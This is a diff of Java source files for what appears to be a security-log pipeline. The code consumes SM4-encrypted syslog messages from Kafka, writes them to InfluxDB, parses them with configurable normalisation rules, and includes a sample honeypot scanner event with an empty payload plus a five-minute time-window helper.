||||
normalMessage.setRuleResult("FAIL");
|
||||
normalMessage.setDeviceName(deviceInfoMap.get("device_name"));
|
||||
normalMessage.setCollectTaskId(collect_id);
|
||||
if(deviceCollectTask!=null)
|
||||
normalMessage.setCollectTaskName(deviceCollectTask.getTaskName());
|
||||
this.messageService.saveMessage(normalMessage );
|
||||
isSaveNonNormal=true;
|
||||
|
||||
} catch (Exception e) {
|
||||
logger.error("SaveNonNormalMessage 失败:" );
|
||||
throw new RuntimeException("SaveNonNormalMessage 失败: " + e.getMessage(), e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
String strlogMessage= "<14>1 2025-09-24T11:52:26Z 5f46d3be75e1 supermario 128 honeypot_event - {\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
String strMsgContent= "{\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
//Map<String, Object> flatMap =(new logNormalData()).getMessageToMap(strMsgContent);
|
||||
//flatMap.forEach((key, value) -> System.out.println(key + " = " + value));
|
||||
//LogNormalProcessor logData =new LogNormalProcessor(strlogMessage,);
|
||||
//logData.init();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
+419
@@ -0,0 +1,419 @@
|
||||
package com.Modules.NormalData;
|
||||
|
||||
import com.influx.InfluxDBClient;
|
||||
import com.common.util.SyslogParser;
|
||||
import com.config.AppConfig;
|
||||
import com.influxdb.client.domain.WritePrecision;
|
||||
import com.influxdb.client.write.Point;
|
||||
import com.influxdb.client.WriteApi;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.kafka.clients.consumer.ConsumerRecord;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Qualifier;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.kafka.annotation.KafkaListener;
|
||||
import org.springframework.kafka.support.Acknowledgment;
|
||||
import org.springframework.scheduling.annotation.Async;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
import java.util.concurrent.CompletableFuture;
|
||||
import java.util.concurrent.Executor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.concurrent.atomic.AtomicInteger;
|
||||
import java.time.LocalDate;
|
||||
import java.time.LocalDate;
|
||||
import java.time.format.DateTimeFormatter;
|
||||
|
||||
import com.common.util.Sm4Util;
|
||||
import com.config.AppConfig;
|
||||
@Slf4j
|
||||
@Component
|
||||
public class SysLogProcessor {
|
||||
|
||||
@Autowired
|
||||
@Qualifier("logNormalProcessorExecutor")
|
||||
private Executor taskExecutor;
|
||||
|
||||
@Value("${app.processor.batch-size:100}")
|
||||
private int batchSize;
|
||||
|
||||
@Value("${app.processor.process-timeout-ms:30000}")
|
||||
private long processTimeoutMs;
|
||||
|
||||
private static String strhexKey=AppConfig.getSM4Key();
|
||||
private final AtomicInteger totalProcessed = new AtomicInteger(0);
|
||||
private final AtomicInteger currentBatchCount = new AtomicInteger(0);
|
||||
// 初始化 InfluxDB 客户端
|
||||
private final com.influx.InfluxDBClient influxClient = new InfluxDBClient();
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 方案一:直接多线程并行处理(推荐)
|
||||
* 单线程消费,每条消息独立提交给线程池处理
|
||||
*/
|
||||
public void listen(List<String> records, Acknowledgment ack) {
|
||||
try {
|
||||
// 处理业务逻辑
|
||||
for (String record : records) {
|
||||
System.out.println(record);
|
||||
}
|
||||
// 手动提交偏移量
|
||||
ack.acknowledge(); // 告诉Kafka这条消息已成功处理
|
||||
} catch (Exception e) {
|
||||
// 不提交偏移量,消息会被重新消费
|
||||
}
|
||||
}
|
||||
@KafkaListener(
|
||||
topics = "${spring.kafka.consumer.topic:agent-syslog-topic}",
|
||||
concurrency = "2" // 多线程消费
|
||||
)
|
||||
public void consumeAndParallelProcess(List<ConsumerRecord<String, String>> records, Acknowledgment ack) {
|
||||
if (records.isEmpty()) {
|
||||
ack.acknowledge();
|
||||
return;
|
||||
}
|
||||
log.info("开始处理批次消息,数量: {}", records.size());
|
||||
currentBatchCount.set(records.size());
|
||||
|
||||
try {
|
||||
List<CompletableFuture<Void>> processingFutures = new ArrayList<>();
|
||||
|
||||
// 为每条消息创建独立的处理任务
|
||||
for (ConsumerRecord<String, String> record : records) {
|
||||
CompletableFuture<Void> future = CompletableFuture.runAsync(() -> {
|
||||
try {
|
||||
// 异步处理单条消息
|
||||
log.info("收到syslogmessage:"+ Sm4Util.decryptCbc(record.value(), strhexKey));
|
||||
processSingleMessageAsync(record);
|
||||
} catch (Exception e) {
|
||||
log.error("处理消息失败, topic: {}, partition: {}, offset: {}",
|
||||
record.topic(), record.partition(), record.offset(), e);
|
||||
} finally {
|
||||
// 计数器递减
|
||||
if (currentBatchCount.decrementAndGet() == 0) {
|
||||
log.debug("批次所有消息处理完成");
|
||||
}
|
||||
}
|
||||
}, taskExecutor);
|
||||
|
||||
processingFutures.add(future);
|
||||
}
|
||||
|
||||
// 等待所有处理任务完成(带超时)
|
||||
CompletableFuture<Void> allFutures = CompletableFuture.allOf(
|
||||
processingFutures.toArray(new CompletableFuture[0])
|
||||
);
|
||||
|
||||
try {
|
||||
allFutures.get(processTimeoutMs, TimeUnit.MILLISECONDS);
|
||||
log.info("批次处理完成,总数: {}", records.size());
|
||||
} catch (java.util.concurrent.TimeoutException e) {
|
||||
log.warn("批次处理超时,已处理: {}/{}",
|
||||
records.size() - currentBatchCount.get(), records.size());
|
||||
}
|
||||
|
||||
// 提交偏移量
|
||||
ack.acknowledge();
|
||||
totalProcessed.addAndGet(records.size());
|
||||
|
||||
} catch (Exception e) {
|
||||
log.error("消费处理异常", e);
|
||||
ack.acknowledge(); // 异常情况下也提交偏移量,避免阻塞
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 方案二:分批多线程处理
|
||||
* 将大批次拆分为小批次进行并行处理
|
||||
*/
|
||||
/**
|
||||
@KafkaListener(
|
||||
topics = "${kafka.topic.log-normal-batch:log-normal-topic-batch}",
|
||||
concurrency = "1"
|
||||
)
|
||||
*/
|
||||
public void consumeAndBatchProcess(List<ConsumerRecord<String, String>> records,
|
||||
Acknowledgment ack) {
|
||||
if (records.isEmpty()) {
|
||||
ack.acknowledge();
|
||||
return;
|
||||
}
|
||||
|
||||
log.info("开始分批处理消息,总数: {}", records.size());
|
||||
|
||||
try {
|
||||
List<CompletableFuture<Void>> batchFutures = new ArrayList<>();
|
||||
|
||||
// 将消息列表拆分为多个批次进行并行处理
|
||||
for (int i = 0; i < records.size(); i += batchSize) {
|
||||
int end = Math.min(i + batchSize, records.size());
|
||||
final List<ConsumerRecord<String, String>> batch = records.subList(i, end);
|
||||
final int batchIndex = i / batchSize + 1;
|
||||
|
||||
CompletableFuture<Void> batchFuture = CompletableFuture.runAsync(() -> {
|
||||
try {
|
||||
processMessageBatch(batch, batchIndex);
|
||||
} catch (Exception e) {
|
||||
log.error("批次处理异常, 批次: {}", batchIndex, e);
|
||||
}
|
||||
}, taskExecutor);
|
||||
|
||||
batchFutures.add(batchFuture);
|
||||
}
|
||||
|
||||
// 等待所有批次处理完成
|
||||
CompletableFuture<Void> allBatches = CompletableFuture.allOf(
|
||||
batchFutures.toArray(new CompletableFuture[0])
|
||||
);
|
||||
|
||||
allBatches.get(processTimeoutMs, TimeUnit.MILLISECONDS);
|
||||
|
||||
// 提交偏移量
|
||||
ack.acknowledge();
|
||||
log.info("全部分批处理完成,总数: {}", records.size());
|
||||
totalProcessed.addAndGet(records.size());
|
||||
|
||||
} catch (Exception e) {
|
||||
log.error("分批消费处理异常", e);
|
||||
ack.acknowledge();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 方案三:带优先级的处理
|
||||
* 根据消息内容决定处理优先级
|
||||
*/
|
||||
/**
|
||||
@KafkaListener(
|
||||
topics = "${kafka.topic.log-normal-priority:log-normal-topic-priority}",
|
||||
concurrency = "1"
|
||||
)
|
||||
*/
|
||||
public void consumeWithPriority(List<ConsumerRecord<String, String>> records,
|
||||
Acknowledgment ack) {
|
||||
if (records.isEmpty()) {
|
||||
ack.acknowledge();
|
||||
return;
|
||||
}
|
||||
|
||||
log.info("开始优先级处理消息,数量: {}", records.size());
|
||||
|
||||
try {
|
||||
List<CompletableFuture<Void>> highPriorityFutures = new ArrayList<>();
|
||||
List<CompletableFuture<Void>> normalPriorityFutures = new ArrayList<>();
|
||||
|
||||
// 根据消息内容分类处理
|
||||
for (ConsumerRecord<String, String> record : records) {
|
||||
CompletableFuture<Void> future = CompletableFuture.runAsync(() -> {
|
||||
processSingleMessageAsync(record);
|
||||
}, taskExecutor);
|
||||
|
||||
// 根据消息内容判断优先级(这里简单根据key判断)
|
||||
if (isHighPriorityMessage(record)) {
|
||||
highPriorityFutures.add(future);
|
||||
} else {
|
||||
normalPriorityFutures.add(future);
|
||||
}
|
||||
}
|
||||
|
||||
// 优先处理高优先级任务
|
||||
if (!highPriorityFutures.isEmpty()) {
|
||||
CompletableFuture.allOf(
|
||||
highPriorityFutures.toArray(new CompletableFuture[0])
|
||||
).get(processTimeoutMs / 2, TimeUnit.MILLISECONDS);
|
||||
log.info("高优先级消息处理完成: {}", highPriorityFutures.size());
|
||||
}
|
||||
|
||||
// 然后处理普通优先级任务
|
||||
if (!normalPriorityFutures.isEmpty()) {
|
||||
CompletableFuture.allOf(
|
||||
normalPriorityFutures.toArray(new CompletableFuture[0])
|
||||
).get(processTimeoutMs / 2, TimeUnit.MILLISECONDS);
|
||||
log.info("普通优先级消息处理完成: {}", normalPriorityFutures.size());
|
||||
}
|
||||
|
||||
ack.acknowledge();
|
||||
totalProcessed.addAndGet(records.size());
|
||||
|
||||
} catch (Exception e) {
|
||||
log.error("优先级消费处理异常", e);
|
||||
ack.acknowledge();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 异步处理单条消息
|
||||
*/
|
||||
@Async("logNormalProcessorExecutor")
|
||||
public void processSingleMessageAsync(ConsumerRecord<String, String> record) {
|
||||
long startTime = System.currentTimeMillis();
|
||||
|
||||
try {
|
||||
// 模拟消息解析
|
||||
//String message = parseMessage(record);
|
||||
// 模拟业务处理
|
||||
//processBusinessLogic(message);
|
||||
|
||||
//Message进行SM4解密
|
||||
String Sm4message=Sm4Util.decryptCbc(record.value(), strhexKey);
|
||||
System.out.println("Sm4message:"+Sm4message);
|
||||
|
||||
|
||||
String sysLogUUID =getSysLogUUID();
|
||||
String strDeviceInfo= SyslogParser.substringBeforeFirstChar(Sm4message,']');
|
||||
Map<String,String> mapdev =SyslogParser.parseKeyValuePairs(strDeviceInfo);
|
||||
|
||||
// 初始化 InfluxDB 客户端
|
||||
Point point = Point.measurement("syslog_security_"+sysLogUUID.substring(0,8) )
|
||||
.addTag("device_id", mapdev.get("device_id")) // 添加设备ID标签
|
||||
.addTag("device_collect_id", mapdev.get("device_collect_id")) // 添加探针ID标签
|
||||
.addTag("uuid", sysLogUUID) //syslog uuid
|
||||
.addTag("topic", AppConfig.getTopic()) //kafka topic
|
||||
.addField("message", Sm4message) // 添加字段
|
||||
.addField("receive_time", mapdev.get("receive_time")) // 添加字段
|
||||
.addField("uuid", sysLogUUID)
|
||||
.time(System.currentTimeMillis(), WritePrecision.MS) ;// 毫秒级时间戳
|
||||
//influxClient.writePointBlocking(point);
|
||||
///写入单点(异步,立即返回)
|
||||
influxClient.writePoint(point);
|
||||
|
||||
System.out.println("influxdb wirte syslog ,value:"+ record.key());
|
||||
// 日志信息插入pg XdrHoneypot 表
|
||||
//insertSingleRecord( record.value());
|
||||
|
||||
//String syslogMessage= AppConfig.geRunEnvironment().equals("test")? record.value().substring(34) : record.value();
|
||||
String syslogMessage= Sm4message;
|
||||
//剔除测试环境本机syslog新增的头部信息
|
||||
LogNormalProcessor logNormalProcessor = new LogNormalProcessor(syslogMessage,sysLogUUID,AppConfig.getTopic());
|
||||
//LogNormalProcessor logNormalProcessor =new LogNormalProcessor(record.value());
|
||||
logNormalProcessor.init();
|
||||
System.out.println("insert postgres syslog ,value:"+ record.key());
|
||||
long costTime = System.currentTimeMillis() - startTime;
|
||||
log.debug("消息处理完成, offset: {}, 耗时: {}ms", record.offset(), costTime);
|
||||
|
||||
} catch (Exception e) {
|
||||
log.error("异步处理消息失败, offset: {}", record.offset(), e);
|
||||
// 这里可以添加重试逻辑或死信队列处理
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 处理消息批次
|
||||
*/
|
||||
private void processMessageBatch(List<ConsumerRecord<String, String>> batch, int batchIndex) {
|
||||
long startTime = System.currentTimeMillis();
|
||||
log.debug("开始处理批次: {}, 数量: {}", batchIndex, batch.size());
|
||||
|
||||
try {
|
||||
List<CompletableFuture<Void>> futures = new ArrayList<>();
|
||||
|
||||
// 批次内并行处理
|
||||
for (ConsumerRecord<String, String> record : batch) {
|
||||
CompletableFuture<Void> future = CompletableFuture.runAsync(() -> {
|
||||
processSingleMessageAsync(record);
|
||||
}, taskExecutor);
|
||||
futures.add(future);
|
||||
}
|
||||
|
||||
// 等待批次内所有任务完成
|
||||
CompletableFuture.allOf(futures.toArray(new CompletableFuture[0]))
|
||||
.get(processTimeoutMs, TimeUnit.MILLISECONDS);
|
||||
|
||||
long costTime = System.currentTimeMillis() - startTime;
|
||||
log.info("批次处理完成: {}, 数量: {}, 总耗时: {}ms",
|
||||
batchIndex, batch.size(), costTime);
|
||||
|
||||
} catch (Exception e) {
|
||||
log.error("批次处理异常: {}", batchIndex, e);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断是否为高优先级消息
|
||||
*/
|
||||
private boolean isHighPriorityMessage(ConsumerRecord<String, String> record) {
|
||||
// 简单的优先级判断逻辑
|
||||
// 可以根据key、header、或消息内容来判断
|
||||
return record.key() != null &&
|
||||
(record.key().contains("ERROR") || record.key().contains("URGENT"));
|
||||
}
|
||||
|
||||
/**
|
||||
* 消息解析(模拟)
|
||||
*/
|
||||
private String parseMessage(ConsumerRecord<String, String> record) {
|
||||
// 模拟解析耗时
|
||||
try {
|
||||
Thread.sleep(1);
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
return record.value();
|
||||
}
|
||||
|
||||
/**
|
||||
* 业务逻辑处理(模拟)
|
||||
*/
|
||||
private void processBusinessLogic(String message) {
|
||||
// 模拟业务处理耗时
|
||||
try {
|
||||
Thread.sleep(5); // 模拟5ms处理时间
|
||||
} catch (InterruptedException e) {
|
||||
Thread.currentThread().interrupt();
|
||||
}
|
||||
|
||||
// 这里可以添加具体的业务逻辑
|
||||
// 例如:数据转换、验证、丰富等
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取处理统计信息
|
||||
*/
|
||||
public ProcessingStats getProcessingStats() {
|
||||
return new ProcessingStats(
|
||||
totalProcessed.get(),
|
||||
currentBatchCount.get()
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* 处理统计信息类
|
||||
*/
|
||||
public static class ProcessingStats {
|
||||
private final int totalProcessed;
|
||||
private final int currentBatchCount;
|
||||
|
||||
public ProcessingStats(int totalProcessed, int currentBatchCount) {
|
||||
this.totalProcessed = totalProcessed;
|
||||
this.currentBatchCount = currentBatchCount;
|
||||
}
|
||||
|
||||
public int getTotalProcessed() { return totalProcessed; }
|
||||
public int getCurrentBatchCount() { return currentBatchCount; }
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取日志信息UUID,格式: yyyyMMddxxxxxxxx
|
||||
* @return
|
||||
*/
|
||||
private static String getSysLogUUID ()
|
||||
{
|
||||
// 获取当前日期
|
||||
LocalDate currentDate = LocalDate.now();
|
||||
// 定义格式 (yyyyMMdd)
|
||||
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd");
|
||||
// 格式化日期
|
||||
String formattedDate = currentDate.format(formatter);
|
||||
return formattedDate +"-"+ UUID.randomUUID() ;
|
||||
}
|
||||
|
||||
}
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
package com.Modules.NormalData;
|
||||
import com.common.entity.RuleContent.Cropper_paramsType;
|
||||
|
||||
import org.json.JSONObject;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import com.common.entity.SyslogMessage;
|
||||
import com.common.util.JsonParser;
|
||||
import com.common.util.SyslogParser;
|
||||
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import com.common.service.DmNormalizeRuleService;
|
||||
import com.common.service.DmColumnService;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import com.common.util.StringExtractorUtil;
|
||||
import com.common.entity.RuleContent.kv_paramsType;
|
||||
|
||||
|
||||
public class logNormalData {
|
||||
|
||||
private static final Logger logger = LoggerFactory.getLogger(logNormalData.class);
|
||||
|
||||
private String strLogMsg ;
|
||||
private Map<String, Object> messageMap ;
|
||||
@Autowired
|
||||
public DmNormalizeRuleService dmNormalizeRuleService =new DmNormalizeRuleService();
|
||||
@Autowired
|
||||
public DmColumnService dmColumnService ;
|
||||
|
||||
public logNormalData( String LogMsg) {
|
||||
|
||||
strLogMsg=LogMsg;
|
||||
/** 处理步骤 */
|
||||
//初始化 (获取syslog_normal_data 表全部字段的属性、设备ID对应的规则设置、转化成JSON)
|
||||
//判断数据解析类型(json、键值、xml、正则表达式、分割符)解析syslogMessage 字段转成 HashMAP
|
||||
//匹配规则内容,获取字段映射关系配置,抽取命中的字段名称、数值
|
||||
//判断字段内容及类型,根据数据类型属性,进行内容转换。
|
||||
//生成insert SQL语句、执行入库操作。
|
||||
}
|
||||
|
||||
public Map<String, Object> getMessageToMap( String MsgContent)
|
||||
{
|
||||
//解析SyslogMessage
|
||||
SyslogMessage msg = SyslogParser.parse(MsgContent);
|
||||
System.out.println("解析结果-log content: " + msg.getMessage().toString());
|
||||
Map<String, Object> flatMap = JsonParser.parseJsonToFlatMap(msg.getMessage().toString());
|
||||
flatMap.forEach((key, value) -> System.out.println(key + " = " + value));
|
||||
List<Map<String, Object>> rulelst=dmNormalizeRuleService.selectByDeviceId((long)1);
|
||||
return flatMap;
|
||||
}
|
||||
|
||||
|
||||
public List<Map<String, Object>> getRuleList( long device_id)
|
||||
{
|
||||
List<Map<String, Object>> rulelst=dmNormalizeRuleService.selectByDeviceId((long)1);
|
||||
if (rulelst!=null)
|
||||
{
|
||||
System.out.println("rulelst: " + rulelst);
|
||||
}
|
||||
return rulelst;
|
||||
}
|
||||
|
||||
/**
|
||||
* 解析数据项内容,Json格式类型
|
||||
* @param MsgContent
|
||||
* @param cropperParams
|
||||
* @return
|
||||
*/
|
||||
public static String ParserMessageJsonType(String MsgContent , Cropper_paramsType cropperParams)
|
||||
{
|
||||
System.out.println("ParserMessageJsonType MsgContent:" +MsgContent );
|
||||
if(cropperParams ==null) {
|
||||
return removeBOM(JsonParser.extractJsonFromLogMessage(MsgContent));
|
||||
}
|
||||
String strJson ="";
|
||||
if(cropperParams.gettail_key().equals("") && cropperParams.gettail_offset()==0 ) {
|
||||
strJson = StringExtractorUtil.extractFromStartToEnd(MsgContent, cropperParams.gethead_key(), cropperParams.gethead_offset());
|
||||
System.out.println("ParserMessageJsonType extractFromStartToEnd strJson" +strJson );
|
||||
}
|
||||
else {
|
||||
strJson= StringExtractorUtil.extract(MsgContent,cropperParams.gethead_key(),cropperParams.gethead_offset(),cropperParams.gettail_key(),cropperParams.gettail_offset() );
|
||||
//return removeBOM(MsgContent).trim();
|
||||
}
|
||||
return removeBOM(strJson).trim();
|
||||
}
|
||||
|
||||
public static String removeBOM(String s) {
|
||||
if (s != null && s.startsWith("\uFEFF")) {
|
||||
return s.substring(1);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
|
||||
//获取数据泛化规则的rule_content列表字段,kv类型提取 kv_params 节点值
|
||||
public static kv_paramsType getkv_paramsType( Map<String, Object> dmNormalizeRule )
|
||||
{
|
||||
kv_paramsType kvParams = new kv_paramsType();
|
||||
try {
|
||||
JSONObject jsonObject = new JSONObject( dmNormalizeRule.get("rule_content").toString());
|
||||
if (jsonObject.isEmpty()) return null;
|
||||
kvParams.setInternal(jsonObject.getJSONObject("kv_params").get("internal").toString());
|
||||
kvParams.setExternal(jsonObject.getJSONObject("kv_params").get("external").toString());
|
||||
kvParams.setL_trim(jsonObject.getJSONObject("kv_params").get("l_trim").toString());
|
||||
kvParams.setR_trim( jsonObject.getJSONObject("kv_params").get("r_trim").toString());
|
||||
return kvParams;
|
||||
}catch (Exception ex) {
|
||||
logger.error("getkv_paramsType:"+ex.getMessage());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
//获取数据泛化规则的rule_content列表字段,sep类型提取 sep 节点值(分隔符)
|
||||
public static String sepType( Map<String, Object> dmNormalizeRule )
|
||||
{
|
||||
|
||||
try {
|
||||
JSONObject jsonObject = new JSONObject( dmNormalizeRule.get("rule_content").toString());
|
||||
if (jsonObject.isEmpty()) return null;
|
||||
return jsonObject.get("sep").toString();
|
||||
}catch (Exception ex) {
|
||||
logger.error("regexp:"+ex.getMessage());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
//获取数据泛化规则的rule_content列表字段,regex类型提取 regexp 节点值(分隔符)
|
||||
public static String Regexp ( Map <String, Object> dmNormalizeRule )
|
||||
{
|
||||
|
||||
try {
|
||||
JSONObject jsonObject = new JSONObject( dmNormalizeRule.get("rule_content").toString());
|
||||
if (jsonObject.isEmpty()) return null;
|
||||
return jsonObject.get("regexp").toString();
|
||||
}catch (Exception ex) {
|
||||
logger.error("sepType:"+ex.getMessage());
|
||||
return null;
|
||||
}
|
||||
}
|
||||
public static void main(String[] args) {
|
||||
|
||||
String strlogMessage= "<14>1 2025-09-24T11:52:26Z 5f46d3be75e1 supermario 128 honeypot_event - {\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
String strMsgContent= "{\"source\":\"honeypot1\",\"id\":\"f6a13c35-bf9d-4da6-a181-50ce23e7ef6a\",\"start_time\":\"2023-09-03T11:07:02.50167643Z\",\"time\":\"2023-09-03T11:16:18.883885281Z\",\"risk_level\":4,\"connection\":\"b18f3fbe-3fbf-4495-815f-ff26f6fb0bdf\",\"file_info\":null,\"extra\":{\"payload\":{\"format\":\"line\",\"name\":{\"cn\":\"攻击载荷\",\"en\":\"payload\"},\"value\":\"\"},\"uid\":{\"format\":\"line\",\"name\":{\"cn\":\"\",\"en\":\"\"},\"uid\":\"b4cbc73c-25d0-4429-ae1b-a856cdf1a651\",\"value\":\"\"}},\"type\":\"WEB_ATTACK_SCANNER\",\"agent_sn\":\"caa7da42-0cca-4cb1-b501-1f1eb2b588d5\",\"agent_name\":\" 教育局蜜罐探针\",\"honeypot_id\":\"11a9ac6bdf38ae2aaa49ec4f1b4a921bff71952cb9f175bdd8ee1f0497057bc6\",\"honeypot_name\":\"茂名市中小学管理平台管理后台\",\"src_ip\":\"117.50.189.7\",\"src_port\":58512,\"src_mac\":\"\",\"dest_ip\":\"192.168.222.2\",\"dest_port\":9200,\"proxy_ip\":null,\"node\":\"WRx3\"}";
|
||||
//Map<String, Object> flatMap =(new logNormalData()).getMessageToMap(strMsgContent);
|
||||
//flatMap.forEach((key, value) -> System.out.println(key + " = " + value));
|
||||
logNormalData logData =new logNormalData( strlogMessage);
|
||||
Cropper_paramsType cropperParams =new Cropper_paramsType();
|
||||
cropperParams.settail_offset(0);
|
||||
cropperParams.settail_key("");
|
||||
cropperParams.sethead_key("{");
|
||||
cropperParams.sethead_offset(-1);
|
||||
String str= ParserMessageJsonType(strlogMessage,cropperParams);
|
||||
System.out.println("parser msg:"+str);
|
||||
|
||||
//List<Map<String, Object>> rulelst= logData.getRuleList(1);
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
package com.Modules.etl;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.time.format.DateTimeFormatter;
|
||||
import java.time.temporal.ChronoUnit;
|
||||
|
||||
public class TimeWindowCalculator {
|
||||
|
||||
/**
|
||||
* 获取前一个5分钟完整时间周期的开始时间和结束时间
|
||||
* @param currentTime 当前任务调度时间
|
||||
* @return 包含开始时间和结束时间的数组,[0]=开始时间,[1]=结束时间
|
||||
*/
|
||||
public static LocalDateTime[] getPrevious5MinuteWindow(LocalDateTime currentTime) {
|
||||
// 获取当前时间的分钟数
|
||||
int currentMinute = currentTime.getMinute();
|
||||
|
||||
// 计算前一个5分钟周期的结束分钟数(向下取整到5的倍数)
|
||||
int previousWindowEndMinute = (currentMinute / 5) * 5;
|
||||
|
||||
// 构建前一个周期的结束时间
|
||||
LocalDateTime previousWindowEnd = currentTime
|
||||
.withMinute(previousWindowEndMinute)
|
||||
.withSecond(0)
|
||||
.withNano(0);
|
||||
|
||||
// 前一个周期的开始时间是结束时间减去5分钟
|
||||
LocalDateTime previousWindowStart = previousWindowEnd.minusMinutes(5);
|
||||
|
||||
return new LocalDateTime[]{previousWindowStart, previousWindowEnd};
|
||||
}
|
||||
|
||||
/**
|
||||
* 重载方法:使用当前系统时间
|
||||
*/
|
||||
public static LocalDateTime[] getPrevious5MinuteWindow() {
|
||||
return getPrevious5MinuteWindow(LocalDateTime.now());
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
// 测试用例
|
||||
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
|
||||
|
||||
// 测试1: 15:06:00
|
||||
LocalDateTime testTime1 = LocalDateTime.of(2025, 11, 18, 15, 7, 15);
|
||||
LocalDateTime[] window1 = getPrevious5MinuteWindow(testTime1);
|
||||
System.out.println("当前时间: " + testTime1.format(formatter));
|
||||
System.out.println("前一个5分钟周期: " +
|
||||
window1[0].format(formatter) + " - " +
|
||||
window1[1].format(formatter));
|
||||
System.out.println();
|
||||
|
||||
// 测试2: 15:10:00
|
||||
LocalDateTime testTime2 = LocalDateTime.of(2025, 11, 18, 15, 12, 20);
|
||||
LocalDateTime[] window2 = getPrevious5MinuteWindow(testTime2);
|
||||
System.out.println("当前时间: " + testTime2.format(formatter));
|
||||
